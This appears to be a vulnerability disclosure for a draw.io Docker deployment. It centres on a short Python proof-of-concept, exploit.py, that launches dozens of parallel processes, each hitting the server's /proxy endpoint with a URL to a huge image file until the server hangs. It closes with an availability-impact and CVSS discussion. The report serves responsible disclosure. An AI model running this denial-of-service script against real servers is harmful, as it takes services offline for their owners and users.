Description

consider following script and put drawio_docker_instace your address and also big_file_address should be serve a big image file ( > 250 MB)

exploit.py

from multiprocessing import Process
import requests

def fun():
    try:
       requests.get("http://drawio_docker_instace/proxy?url=http://big_file_address/1.jpg")
       print("OK")
    except:
        print("error from server")

def main():
    for i in range(1,40):
        p = Process(target=fun, args=())
        p.start()

if __name__ == '__main__':
    main()

I upload forty 250MB photos at the same time, and the server hangs up, you can check it yourself with my POC.py exploit

Impact

High damage on Availability of server, In my tests the docker instance was stopped working. because the drawio ran on the same docker of the mentioned methods, then the whole application can be damaged by this attack. So I prefer to set the availability of CVSS to high

Note

my test server was a 1GB RAM, 1 core CPU ( basic plan ) high IO pins from upcloud.